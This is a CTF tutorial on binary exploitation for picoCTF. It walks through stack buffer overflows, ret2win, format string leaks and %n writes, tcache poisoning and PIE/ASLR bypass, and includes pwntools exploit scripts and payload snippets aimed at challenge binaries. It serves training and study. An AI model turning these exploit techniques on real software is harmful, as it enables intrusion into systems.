Buffer Overflow and Binary Exploitation for CTF

Introduction

Binary exploitation (pwn) is one of the most hands-on CTF categories. Instead of attacking web application logic or cracking ciphers, you analyze compiled programs, find memory safety bugs, and craft inputs that redirect execution - typically to pop a shell or print a flag.

picoCTF has an unusually well-structured binary exploitation track. The challenges progress from crash-only stack overflows, through format string leaks, all the way to multi-step heap exploits. This guide covers each technique in order of the picoCTF challenge series they appear in.

Stack basics

When a function is called, the CPU pushes the return address onto the stack - the address of the next instruction to execute when the function returns. The function then allocates space for its local variables (the stack frame) immediately above the return address.

A stack buffer overflow occurs when a local array (buffer) receives more data than it can hold, overwriting adjacent memory including - crucially - the saved return address. By controlling what goes there, you control where the program jumps on function return.

# Memory layout (grows downward)
| higher addresses |
|------------------|
| saved return addr| <-- overwrite this
| saved RBP        |
| buffer[64]       | <-- fills from here
| lower addresses  |
# A 64-byte buffer needs 64 + 8 (RBP) = 72 bytes padding
# before you reach the return address (x86-64)

Use pwntools' cyclic to find the exact offset without counting manually:

python3 -c "from pwn import *; print(cyclic(200))" | ./binary
# binary crashes with a cyclic pattern in rsp
# Find the offset from the crashing address
python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"  # -> 44

ret2win

A ret2win challenge has a function somewhere in the binary (commonly called win, flag, or secret) that prints the flag or spawns a shell. The goal is to overwrite the return address with the address of that function.

# Find the win function address
objdump -d ./binary | grep win
# or
nm ./binary | grep win
# or in pwntools
elf = ELF('./binary')
win_addr = elf.symbols['win']

Build the payload: padding to reach the return address, then the win function address:

from pwn import *
elf    = ELF('./binary')
p      = process('./binary')  # or remote('host', port)
offset = 44                   # bytes until return address
payload = flat(
    b'A' * offset,
    elf.symbols['win'],
)
p.sendlineafter(b'Input: ', payload)
p.interactive()

Format string bugs

A format string vulnerability occurs when user-controlled input is passed as the first argument to printf (or sprintf, fprintf) without a format string:

// Vulnerable
printf(user_input);
// Safe
printf("%s", user_input);

Format strings can be exploited for both reads and writes:

Reading memory (leak addresses)

# Dump stack values as hex
python3 -c "print('%p.%p.%p.%p.%p.%p.%p.%p')" | ./binary
# Read a specific stack offset
python3 -c "print('%7$p')" | ./binary   # 7th argument

Writing memory (%n)

The %n specifier writes the number of bytes printed so far to a pointer on the stack. By placing a target address on the stack and using positional arguments, you can write arbitrary values to arbitrary addresses - typically to overwrite a return address or a GOT entry.

# pwntools fmtstr_payload automates the write
from pwn import *
p        = process('./binary')
offset   = 6      # position of your input on the stack
target   = 0x...  # address to overwrite
value    = 0x...  # value to write
payload  = fmtstr_payload(offset, {target: value})
p.sendline(payload)

Heap exploitation

Heap exploitation targets bugs in dynamic memory allocation: use-after-free, double-free, and heap overflow. Modern glibc uses the tcache (per-thread cache) for small allocations, which is the primary target in introductory CTF heap challenges.

tcache poisoning

After a free(), glibc writes the address of the next free chunk into the freed chunk's metadata. If you can write to a freed chunk (use-after-free), you can overwrite this pointer and make the next malloc() return a chunk at an arbitrary address - for example, a function pointer table or a stack-resident variable.

1. Allocate chunk A
2. Free chunk A      -> tcache: [A]
3. Write to A        -> corrupt the next pointer in A's metadata
4. malloc()          -> returns A (pops from tcache)
5. malloc()          -> returns the corrupted address you wrote
                        (now you control what malloc gives out)

PIE and ASLR bypass

ASLR (Address Space Layout Randomization) randomizes the base address of the stack, heap, and shared libraries at every run. PIE (Position-Independent Executable) extends this to the binary itself. Without a leak, you cannot predict where your target function lives.

The bypass is always the same: find a way to leak a runtime address, compute the binary base from it, then calculate the address of your target function.

Leaking a PIE address

# Common sources of leaks:
# 1. Format string: %p chain until you see an address in binary range
# 2. printf with %s on a pointer that points inside the binary
# 3. The binary prints an address itself (helpful challenge setup)
# Once you have a leak:
leaked_addr  = int(p.recvline(), 16)
binary_base  = leaked_addr - elf.symbols['known_function']
win_addr     = binary_base + elf.symbols['win']

pwntools primer

pwntools is the standard Python library for binary exploitation in CTF. It handles process interaction, struct packing, ROP chain construction, and shellcode generation. If you are new to Python scripting for CTF in general, the Python for CTF guide covers binary I/O, encoding, and socket scripting before getting to pwntools.

Install

pip install pwntools

Boilerplate

from pwn import *
context.binary = elf = ELF('./binary')
context.arch   = 'amd64'   # or 'i386'
# Local
p = process('./binary')
# Remote
p = remote('challenge.host', 1337)
# Useful helpers
p.sendline(payload)          # send + newline
p.sendlineafter(b'> ', payload)  # wait for prompt then send
p.recvuntil(b'0x')           # receive until marker
leak = int(p.recvline(), 16) # parse hex address
p.interactive()              # hand control to your terminal

Struct packing

p64(0xdeadbeef)   # little-endian 8-byte pack (64-bit)
p32(0xdeadbeef)   # little-endian 4-byte pack (32-bit)
flat(b'A'*44, p64(win))  # build a payload inline

Quick reference